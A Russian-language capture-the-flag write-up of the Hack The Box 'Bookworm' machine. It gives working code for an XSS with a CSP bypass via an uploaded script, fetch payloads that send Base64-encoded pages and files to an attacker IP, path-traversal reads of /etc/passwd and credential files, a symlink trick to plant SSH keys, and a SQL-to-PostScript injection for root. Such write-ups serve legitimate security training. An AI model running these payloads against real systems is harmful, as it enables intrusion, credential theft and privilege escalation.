March 14

HTB Bookworm. Эксплуатируем сложную XSS с байпасом CSP

  1. Разведка
  2. Точка входа
  3. Точка опоры
  4. Продвижение
  5. Локальное повышение привилегий

В этом рай­тапе я покажу, как мож­но исполь­зовать уяз­вимость в механиз­ме кон­тро­ля заг­рузки фай­лов для обхо­да Content Security Policy и экс­плу­ата­ции слож­ной XSS. Най­ден­ная затем LFI поможет получить важ­ные дан­ные для дос­тупа к хос­ту, а для повыше­ния при­виле­гий исполь­зуем SQL-инъ­екцию через PostScript.

На­ша цель — зах­ват рута на машине Bookworm с пло­щад­ки Hack The Box. Уро­вень ее слож­ности — «безум­ный».

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.215 bookworm.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Ска­нер нашел все­го два откры­тых пор­та:

  • 22 — служ­ба OpenSSH 8.2p1;
  • 80 — веб‑сер­вер Nginx 1.18.0.

SSH, как обыч­но, оставля­ем на потом: без учет­ных дан­ных там ничего не сде­лать. В пер­вую оче­редь идем смот­реть веб‑сайт.

Глав­ная стра­ница сай­та

ТОЧКА ВХОДА

На сай­те есть воз­можность зарегис­три­ровать­ся и авто­ризо­вать­ся, что мы и дела­ем.

Фор­ма регис­тра­ции нового поль­зовате­ля

Про­бега­емся по сай­ту, что­бы опре­делить воз­можные точ­ки вхо­да. К при­меру, в про­филе поль­зовате­ля мож­но уста­новить ава­тар, заг­рузив кар­тинку. При заг­рузке фай­лов час­то встре­чают­ся уяз­вимос­ти, которые поз­воля­ют заг­ружать не толь­ко кар­тинки.

Стра­ница про­филя поль­зовате­ля

Сам сайт пред­став­ляет собой магазин книг, поэто­му добавим файл в кор­зину, а затем прос­мотрим ее.

Стра­ница товара
Кор­зина поль­зовате­ля

В кор­зине у нас есть воз­можность изме­нить запись, а это зна­чит, что тут может быть уяз­вимость как XXS, так и SSTI.

ТОЧКА ОПОРЫ

XSS

Вы­бира­ем пункт изме­нения записи и про­буем под­клю­чить файл с нашего сер­вера.

<img src="http://10.10.14.118/test_xss">

Фор­ма изме­нения

Пос­ле отправ­ки наг­рузки смот­рим логи веб‑сер­вера и видим там зап­рос.

Ре­зуль­тат изме­нения записи
Ло­ги веб‑сер­вера

На­ходим зап­рос в Burp History и обра­щаем вни­мание на заголо­вок CSP.

Зап­рос в Burp History

Content Security Policy — это механизм обес­печения безопас­ности, с помощью которо­го мож­но защищать­ся от XSS-атак. CSP опи­сыва­ет безопас­ные источни­ки для заг­рузки ресур­сов и уста­нав­лива­ет пра­вила исполь­зования встро­енных скрип­тов. Заг­рузка с ресур­сов, не вхо­дящих в белый спи­сок, бло­киру­ется. В дан­ном слу­чае будут исполнять­ся скрип­ты толь­ко с тес­тиру­емо­го сер­вера, а зна­чит, наг­рузку со сво­его сер­вера мы не выпол­ним.

Так­же пос­ле меня какой‑то поль­зователь добавил товар себе в кор­зину.

Спи­сок товаров

Ис­ходный код стра­ницы рас­кры­вает какой‑то id, ско­рее все­го, это иден­тифика­тор заказа, так как при новой покуп­ке от име­ни того же поль­зовате­ля иден­тифика­тор обновля­ется.

Ис­ходный код стра­ницы

Поп­робу­ем в нашем зап­росе поменять иден­тифика­тор на изме­нение записи. Если дос­туп к заказу не кон­тро­лиру­ется, то наг­рузка выпол­нится и дру­гой поль­зователь обра­тит­ся к фай­лу на нашем сер­вере.

Из­менен­ный зап­рос в Burp Repeater
Ло­ги сер­вера

На сер­вер при­шел зап­рос, а зна­чит, мы можем триг­герить зап­росы от име­ни дру­гого поль­зовате­ля сай­та.

File Upload

Пе­рей­дем к заг­рузке ава­тар­ки. Боль­ше все­го нас инте­ресу­ет дан­ный зап­рос в Burp History.

Зап­рос в Burp History

При попыт­ке заг­рузить шелл получа­ем ошиб­ку, сооб­щающую о том, что мы можем заг­рузить толь­ко фай­лы JPEG и PNG.

Ошиб­ка заг­рузки фай­ла

При новой заг­рузке фай­ла перех­ватыва­ем зап­рос в Burp Proxy и изме­няем содер­жимое фай­ла на прос­тую стро­ку‑инди­катор test_file_upload. Но получа­ем уже дру­гую ошиб­ку.

Зап­рос на заг­рузку фай­ла
Ошиб­ка сер­вера

Раз ошиб­ка изме­нилась, зна­чит, содер­жимое фай­ла не про­веря­ется. Тог­да надо попытать­ся изме­нить рас­ширение фай­ла. Пер­вым делом про­буем исполь­зовать двой­ное рас­ширение, раз­делен­ное null-сим­волом (%00). При про­вер­ке фай­ла будет учи­тывать­ся вто­рое рас­ширение, а при заг­рузке его отсе­чет из‑за null-сим­вола, и файл сох­ранит­ся с пер­вым рас­ширени­ем.

Зап­рос на заг­рузку фай­ла
Зап­рос заг­ружен­ного фай­ла

Пос­ле редирек­та видим обра­щение к нашему фай­лу и отоб­ражение его содер­жимого. Дос­туп к фай­лу тоже не про­веря­ется.

curl http://bookworm.htb/static/img/uploads/14

Зап­рос содер­жимого заг­ружен­ного фай­ла

CSP Bypass XSS

Итак, мы можем заг­рузить на сер­вер файл с тек­сто­вым содер­жимым. Давай поп­робу­ем добавить код на JavaScript, дела­ющий прос­той зап­рос на наш сер­вер.

fetch("http://10.10.14.118/csp_bypass");

За­тем в нашей XSS поп­робу­ем ука­зать в качес­тве источни­ка скрип­та заг­ружен­ный на сер­вер файл.

<script src="/static/img/uploads/14"></script>

Это поз­воля­ет нам обой­ти полити­ку CSP и выпол­нить про­изволь­ный код на JS. Об этом сви­детель­ству­ют логи веб‑сер­вера (Python 3).

Ло­ги веб‑сер­вера

На­чина­ем делать зап­росы к сер­веру от име­ни поль­зовате­ля и извле­кать отве­ты. Сле­дующий код выпол­нит зап­рос на стра­ницу /profile, затем закоди­рует ее содер­жимое в Base64 и отпра­вит в качес­тве парамет­ра d на наш сер­вер.

fetch("http://bookworm.htb/profile").then(async resp => { fetch("http://10.10.14.118/?d=" + btoa(await resp.text()))});

Заг­рузка скрип­та на сер­вер
Из­менение записи поль­зовате­ля
Ло­ги веб‑сер­вера

Пос­ле получе­ния закоди­рован­ной стра­ницы декоди­руем ее, сох­раня­ем в файл и откры­ваем через бра­узер для удоб­ного прос­мотра.

Со­дер­жимое стра­ницы /profile

Ви­дим оче­редь заказов, каж­дый со ссыл­кой. Адрес ссыл­ки получа­ем из кода стра­ницы.

Ис­ходный код стра­ницы /profile

Те­перь поп­робу­ем получить стра­ницы заказов. Для это­го нуж­но пар­сить стра­ницу /profile и извле­кать из кода эти ссыл­ки. Допол­ним наш код, что­бы он отправ­лял на наш сер­вер URI каж­дого заказа, и пов­торим ата­ку.

function exfil(uri) { fetch("http://10.10.14.118/?u=" + encodeURIComponent(uri));} function getUris(page) { const parser = new DOMParser(); const doc = parser.parseFromString(page, 'text/html'); const links = doc.querySelectorAll('tbody a'); const uris = Array.from(links).map((link) => link.getAttribute('href')); return uris;} fetch("http://bookworm.htb/profile").then(async resp => { const page = await resp.text(); const uris = getUris(page); for (const uri of uris) { exfil(uri); }});

Ло­ги веб‑сер­вера

Код работа­ет, мы получа­ем каж­дую ссыл­ку по отдель­нос­ти. Теперь сно­ва допол­ним код: получив ссыл­ку, выпол­няем зап­рос на нее, а ответ, как и рань­ше, кодиру­ем в Base64 и при­сыла­ем на наш сер­вер в парамет­ре d. Так как стра­ниц нес­коль­ко, в парамет­ре u отправ­ляем их URI.

function exfil(uri) { fetch("http://bookworm.htb" + uri).then(async resp => { fetch("http://10.10.14.118/?u=" + encodeURIComponent(uri) + "&d=" + btoa(await resp.text())); });} function getUris(page) { const parser = new DOMParser(); const doc = parser.parseFromString(page, 'text/html'); const links = doc.querySelectorAll('tbody a'); const uris = Array.from(links).map((link) => link.getAttribute('href')); return uris;} fetch("http://bookworm.htb/profile").then(async resp => { const page = await resp.text(); const uris = getUris(page); for (const uri of uris) { exfil(uri); }});

Ло­ги веб‑сер­вера

В логах нашего веб‑сер­вера видим четыре боль­ших зап­роса. Декоди­руем и прос­матри­ваем их через бра­узер.

Со­дер­жимое стра­ницы заказа

Мы получи­ли ссыл­ки на заг­рузку как отдель­но каж­дой кни­ги, так и всех книг сра­зу. Вид ссыл­ки сно­ва узна­ем из исходно­го кода стра­ницы.

Ис­ходный код стра­ницы заказа

Поп­робу­ем ска­чать этот документ. Но сна­чала по ана­логии с пре­дыду­щими шагами вытащим из стра­ницы ссыл­ку на PDF.

function getUris(page) { const parser = new DOMParser(); const doc = parser.parseFromString(page, 'text/html'); const links = doc.querySelectorAll('tbody a'); const uris = Array.from(links).map((link) => link.getAttribute('href')); return uris;} function getFileUri(uri) { fetch("http://bookworm.htb" + uri).then(async resp => { const page = await resp.text(); const uris = getUris(page); for (const u of uris) { fetch("http://10.10.14.118/?u=" + encodeURIComponent(u)); } });} fetch("http://bookworm.htb/profile").then(async resp => { const page = await resp.text(); const uris = getUris(page); getFileUri(uris[0]);});

Ло­ги веб‑сер­вера

Те­перь допишем код, выпол­няющий зап­рос для получен­ного адре­са и при­сыла­ющий нам содер­жимое отве­та. Тоже по ана­логии с пре­дыду­щими шагами.

function exfil(uri) { fetch("http://bookworm.htb" + uri).then(async resp => { fetch("http://10.10.14.118/?u=" + encodeURIComponent(uri) + "&d=" + btoa(await resp.text())); });} function getUris(page) { const parser = new DOMParser(); const doc = parser.parseFromString(page, 'text/html'); const links = doc.querySelectorAll('tbody a'); const uris = Array.from(links).map((link) => link.getAttribute('href')); return uris;} function getFileUri(uri) { fetch("http://bookworm.htb" + uri).then(async resp => { const page = await resp.text(); const uris = getUris(page); for (const u of uris) { exfil(n); } });} fetch("http://bookworm.htb/profile").then(async resp => { const page = await resp.text(); const uris = getUris(page); getFileUri(uris[0]);});

Ло­ги веб‑сер­вера

По­луча­ем стро­ку в Base64, но явно слиш­ком малень­кую. При декоди­рова­нии понима­ем, что это стра­ница ошиб­ки.

Ис­ходный код получен­ной стра­ницы

LFI

Тог­да про­буем ска­чать нес­коль­ко фай­лов сра­зу. Эта фун­кция уже пре­дус­мотре­на, так что при­думы­вать ничего не нуж­но. Изме­ним наш код так, что­бы к получен­ной фун­кци­ей getUris() ссыл­ке на ска­чива­ние фай­ла добав­лялся еще один файл &bookIds=5.

function exfil(uri) { fetch("http://bookworm.htb" + uri).then(async resp => { var barray = new Uint8Array(await resp.arrayBuffer()); var bindata = ''; for (var i = 0; i < barray.byteLength; i++) { bindata += String.fromCharCode(barray[i]); } fetch("http://10.10.14.118/?u=" + encodeURIComponent(uri) + "&d=" + btoa(bindata)); });} function getUris(page) { const parser = new DOMParser(); const doc = parser.parseFromString(page, 'text/html'); const links = doc.querySelectorAll('tbody a'); const uris = Array.from(links).map((link) => link.getAttribute('href')); return uris;} function getFileUri(uri) { fetch("http://bookworm.htb" + uri).then(async resp => { const page = await resp.text(); const uris = getUris(page); for (const u of uris) { const nu = u + "&bookIds=5" exfil(nu); } });} fetch("http://bookworm.htb/profile").then(async resp => { const page = await resp.text(); const uris = getUris(page); getFileUri(uris[0]);});

Ло­ги сер­вера

И получа­ем уже дру­гой ответ, декоди­руем файл и про­веря­ем его тип ути­литой file.

Про­вер­ка ска­чан­ного фай­ла

Это ока­зал­ся архив ZIP, который содер­жит два фай­ла — те, что мы ука­зыва­ли по иден­тифика­торам.

Со­дер­жимое ска­чан­ного архи­ва

Про­веря­ем метадан­ные PDF-фай­лов с помощью exiftool и опре­деля­ем, что они кон­верти­рова­ны с помощью PyFPDF 1.7.2. Зна­чит, в катало­ге лежат не сами PDF, а их тек­сто­вые про­обра­зы в виде тек­ста или даже HTML.

Ме­тадан­ные PDF-фай­ла

Поп­робу­ем вмес­то иден­тифика­тора ука­зать путь к про­изволь­ному фай­лу, к при­меру /etc/passwd:

const nu = u + "&bookIds=../../../../../../../../etc/passwd"

Те­перь в ска­чан­ном архи­ве будет при­сутс­тво­вать неиз­вес­тный файл с содер­жимым /etc/passwd.

Со­дер­жимое фай­ла /etc/passwd

SSH-ключ про­читать не получи­лось, перей­дем к исходным кодам при­ложе­ния. Для начала поп­робу­ем про­читать файл /proc/self/cmdline, который будет содер­жать коман­дную стро­ку текуще­го про­цес­са, в дан­ном слу­чае веб‑сер­вера. Коман­да дол­жна будет рас­крыть нам путь к фай­лам на сер­вере. Файл в архи­ве ока­зал­ся очень малень­ким и содер­жал текст в сыром виде.

Со­дер­жимое фай­ла /proc/self/cmdline

Node.js запус­кает файл index.js, но не по пол­ному пути, а из катало­га при­ложе­ния. Узнать этот каталог мож­но из фай­ла /proc/self/cwd.

Со­дер­жимое фай­ла /proc/self/cwd

Те­перь зна­ем запущен­ный файл и путь к нему, так что можем про­читать содер­жимое: /var/www/bookworm/index.js.

Со­дер­жимое фай­ла index.js

В фай­ле видим под­клю­чение модуля database, который дол­жен содер­жать учет­ные дан­ные для под­клю­чения к СУБД. Получим содер­жимое фай­ла /var/www/bookworm/database.js.

Со­дер­жимое фай­ла database.js

С получен­ным паролем уда­ется авто­ризо­вать­ся на SSH от име­ни поль­зовате­ля frank.

Флаг поль­зовате­ля

ПРОДВИЖЕНИЕ

Те­перь нам необ­ходимо соб­рать информа­цию. Я буду исполь­зовать для это­го скрип­ты PEASS.

Справка: скрипты PEASS

Что делать пос­ле того, как мы получи­ли дос­туп в сис­тему от име­ни поль­зовате­ля? Вари­антов даль­нейшей экс­плу­ата­ции и повыше­ния при­виле­гий может быть очень мно­го, как в Linux, так и в Windows. Что­бы соб­рать информа­цию и наметить цели, мож­но исполь­зовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скрип­тов, которые про­веря­ют сис­тему на авто­мате и выда­ют под­робный отчет о потен­циаль­но инте­рес­ных фай­лах, про­цес­сах и нас­трой­ках.

В выводе мно­го информа­ции, отби­раем толь­ко самое важ­ное.

В спис­ке прос­лушива­емых пор­тов находим непонят­ный порт 3001.

Спи­сок активных пор­тов

В домаш­нем катало­ге поль­зовате­ля neil при­сутс­тву­ет про­ект converter.

Фай­лы рута в домаш­них катало­гах поль­зовате­лей

Так как нам дос­тупны фай­лы про­екта, мож­но заг­рузить на хост ста­тичес­ки соб­ранный архи­ватор 7zip, заар­хивиро­вать весь каталог и ска­чать на свой компь­ютер.

./7za a converter /home/neil/converter/index.js /home/neil/converter/node_modules

Пос­ле заг­рузки про­екта откры­ваем его в любом редак­торе кода и изу­чаем. С пер­вых строк ста­новит­ся понят­но, что имен­но этот про­ект и работа­ет на пор­те 3001 (стро­ка 10).

Со­дер­жимое фай­ла index.js

Да­вай про­верим най­ден­ное при­ложе­ние. Для это­го нуж­но «про­кинуть» порт 3001 на свой хост с помощью SSH.

ssh [email protected] -L 3001:127.0.0.1:3001

Весь тра­фик, который мы пош­лем на локаль­ный порт 3001, будет тун­нелиро­ван на порт 3001 ука­зан­ного хос­та (в дан­ном слу­чае 127.0.0.1) через SSH-хост.

Глав­ная стра­ница сай­та

Сра­зу ска­жу, что, хоть у нас и есть исходный код, ока­залось сов­сем не слож­но най­ти уяз­вимость и без его изу­чения. При кон­верти­рова­нии фай­ла на сер­вер отправ­ляют­ся его имя, тип и содер­жимое, а так­же рас­ширение, харак­терное для фор­мата, в который мы хотим кон­верти­ровать. В ответ сер­вер прос­то воз­вра­щает содер­жимое фай­ла.

Зап­рос на заг­рузку фай­ла и ответ сер­вера

При этом на сер­вере соз­дает­ся файл в катало­ге output.

Соз­данный на сер­вере файл

Сра­зу про­буем вмес­то рас­ширения фай­ла ука­зать путь с обхо­дом катало­га.

Зап­рос на заг­рузку фай­ла

В ито­ге к име­ни фай­ла на сер­вере прос­то добав­ляет­ся ука­зан­ное нами рас­ширение.

Соз­данный на сер­вере файл

Поп­робу­ем вый­ти из катало­га, добавив еще одну пос­ледова­тель­ность ../.

Зап­рос на заг­рузку фай­ла

Сно­ва про­веря­ем заг­ружен­ный файл и замеча­ем обход катало­га.

Соз­данный на сер­вере файл

Это зна­чит, что мы можем про­извести запись в про­изволь­ный файл на сер­вере. Увы, при попыт­ке переза­писать SSH-ключ поль­зовате­ля /home/neil/.ssh/authorized_keys сво­им клю­чом, сге­нери­рован­ным коман­дой ssh-keygen, получа­ем ошиб­ку. Но в подоб­ных слу­чаях нас спа­сают ссыл­ки на фай­лы. Соз­дадим на сер­вере ссыл­ку на файл authorized_keys.

mkdir /tmp/test chmod 777 /tmp/test ln -s /home/neil/.ssh/authorized_keys /tmp/test/qweewq.txt

А теперь поп­робу­ем записать ключ по соз­данной ссыл­ке.

Зап­рос на заг­рузку фай­ла

За­тем пыта­емся под­клю­чить­ся с при­ват­ным клю­чом и получа­ем сес­сию поль­зовате­ля neil.

Сес­сия поль­зовате­ля neil

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Раз­ведку уже про­води­ли, так что при изме­нении кон­тек­ста сра­зу про­веря­ем самые оче­вид­ные мес­та. В пер­вую оче­редь — нас­трой­ки sudoers.

sudo -l

Нас­трой­ки sudoers

Здесь видим, что мы можем запус­тить при­ложе­ние /usr/local/bin/genlabel без вво­да пароля от име­ни поль­зовате­ля root. Про­верим, что это за файл.

file /usr/local/bin/genlabel

Про­вер­ка фай­ла genlabel

Это скрипт на Python, поэто­му смот­рим его исходный код. При­ложе­ние откры­вает файл dbcreds.txt, чита­ет пароль для под­клю­чения к базе дан­ных и под­клю­чает­ся к ней (стро­ки 9–14).

Ис­ходный код genlabel

За­тем скрипт дела­ет зап­рос к базе, отку­да извле­кает мно­го парамет­ров (стро­ки 22–24). Потом чита­ет PostScript-шаб­лон, заменя­ет в нем зна­чения теми, что были получе­ны из базы, и сох­раня­ет в новый файл (стро­ки 31–48). В кон­це запус­кает­ся про­цесс ps2pdf и кон­верти­рует файл PostScript в фор­мат PDF (стро­ки 50–54).

Ис­ходный код genlabel

PostScript — это язык прог­рамми­рова­ния, который раз­работа­ли и исполь­зуют в Abode для соз­дания PDF-фай­лов. Если бы мы мог­ли добавить код в файл PS, то смог­ли бы записать SSH-ключ еще и руту, но на файл шаб­лона нет нуж­ных прав. Манипу­лиро­вать дан­ными, получа­емы­ми из базы дан­ных, тоже не можем. Зато нас выруча­ет исполь­зуемый в скрип­те уяз­вимый для внед­рения кода SQL-зап­рос.

query = "SELECT name, addressLine1, addressLine2, town, postcode, Orders.id as orderId, Users.id as userId FROM Orders LEFT JOIN Users On Orders.userId = Users.id WHERE Orders.id = %s" % sys.argv[1]

С помощью SQL-инъ­екции мы можем вста­вить про­изволь­ные дан­ные вмес­то перемен­ной NAME в шаб­лоне:

... 50 550 moveto (NAME) show ...

В PS-файл будем встав­лять сле­дующий код, который запишет ключ SSH в authorized_keys.

)show /outfile1 (/root/.ssh/authorized_keys) (w) file def outfile1 (ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDeZrovTfRBOzQwB2fZbeydja1KYopABLo+zilqm40rkJu+PwtxU3pxiHSXkmMDyGFlmeNZbTlSddt6RVvoR0EoMWdyV59CQbYD2AWOTDr4QaMDkIoyHhNGxl0XWorwutT7AaZVuYdtc8qZeZWHbGg/F5Cwipy3/zwz7hdFUgKz0IUzChBnsCJe2RTqeAY+kaGXJASHGokCc6OoIH+ETV1kqj6IEu67wfTqwS4d0f3Zxd/Ap5I9bJODtkyOVhVYaO+BwC9XncOUk+SezBI7CnYkoJgOdSrWMY/WXwCdfemV/eFx+TDf5CzPwteZmc+qIp7//lxHgvXeBKe9lEH7ysVnSP8mLMMRUF6qtJUD8rtESFJ9VI6ppo/c1xuBptabpZEwHqFJV4x1ESEQZ4jo6TvcpTbd1TRPkgw3WxwracW98Jw1rjavwT6sOSg/RAk/hh7j3KBJnjpuEvpNZxYpiisWSCI8hbNTJmkuaqseOB1KStjlginavbhlpK9MMwAmHJM= ralf@ralf-PC) writestring outfile1 closefile (a

Тог­да файл PostScript будет выг­лядеть так:

50 550 moveto ()show /outfile1 (/root/.ssh/authorized_keys) (w) file def outfile1 (ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDeZrovTfRBOzQwB2fZbeydja1KYopABLo+zilqm40rkJu+PwtxU3pxiHSXkmMDyGFlmeNZbTlSddt6RVvoR0EoMWdyV59CQbYD2AWOTDr4QaMDkIoyHhNGxl0XWorwutT7AaZVuYdtc8qZeZWHbGg/F5Cwipy3/zwz7hdFUgKz0IUzChBnsCJe2RTqeAY+kaGXJASHGokCc6OoIH+ETV1kqj6IEu67wfTqwS4d0f3Zxd/Ap5I9bJODtkyOVhVYaO+BwC9XncOUk+SezBI7CnYkoJgOdSrWMY/WXwCdfemV/eFx+TDf5CzPwteZmc+qIp7//lxHgvXeBKe9lEH7ysVnSP8mLMMRUF6qtJUD8rtESFJ9VI6ppo/c1xuBptabpZEwHqFJV4x1ESEQZ4jo6TvcpTbd1TRPkgw3WxwracW98Jw1rjavwT6sOSg/RAk/hh7j3KBJnjpuEvpNZxYpiisWSCI8hbNTJmkuaqseOB1KStjlginavbhlpK9MMwAmHJM= ralf@ralf-PC) writestring outfile1 closefile (a) show

Ни­каких оши­бок быть не дол­жно. Для инъ­екции будем исполь­зовать UNION-наг­рузку:

sudo /usr/local/bin/genlabel "0 union select') show\n/outfile1 (/root/.ssh/authorized_keys) (w) file def\noutfile1 (ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDeZrovTfRBOzQwB2fZbeydja1KYopABLo+zilqm40rkJu+PwtxU3pxiHSXkmMDyGFlmeNZbTlSddt6RVvoR0EoMWdyV59CQbYD2AWOTDr4QaMDkIoyHhNGxl0XWorwutT7AaZVuYdtc8qZeZWHbGg/F5Cwipy3/zwz7hdFUgKz0IUzChBnsCJe2RTqeAY+kaGXJASHGokCc6OoIH+ETV1kqj6IEu67wfTqwS4d0f3Zxd/Ap5I9bJODtkyOVhVYaO+BwC9XncOUk+SezBI7CnYkoJgOdSrWMY/WXwCdfemV/eFx+TDf5CzPwteZmc+qIp7//lxHgvXeBKe9lEH7ysVnSP8mLMMRUF6qtJUD8rtESFJ9VI6ppo/c1xuBptabpZEwHqFJV4x1ESEQZ4jo6TvcpTbd1TRPkgw3WxwracW98Jw1rjavwT6sOSg/RAk/hh7j3KBJnjpuEvpNZxYpiisWSCI8hbNTJmkuaqseOB1KStjlginavbhlpK9MMwAmHJM= ralf@ralf-PC) writestring\noutfile1 closefile\n\n(r' as name, 'r' as addressLine1, 'r' as addressLine2, 'r' as town, 'r' as postcode, 0 as orderId, 1 as userId;"

Экс­плу­ата­ция уяз­вимос­ти

Про­буем под­клю­чить­ся с при­ват­ным клю­чом и получа­ем сес­сию поль­зовате­ля root.

Флаг рута

Ма­шина зах­вачена!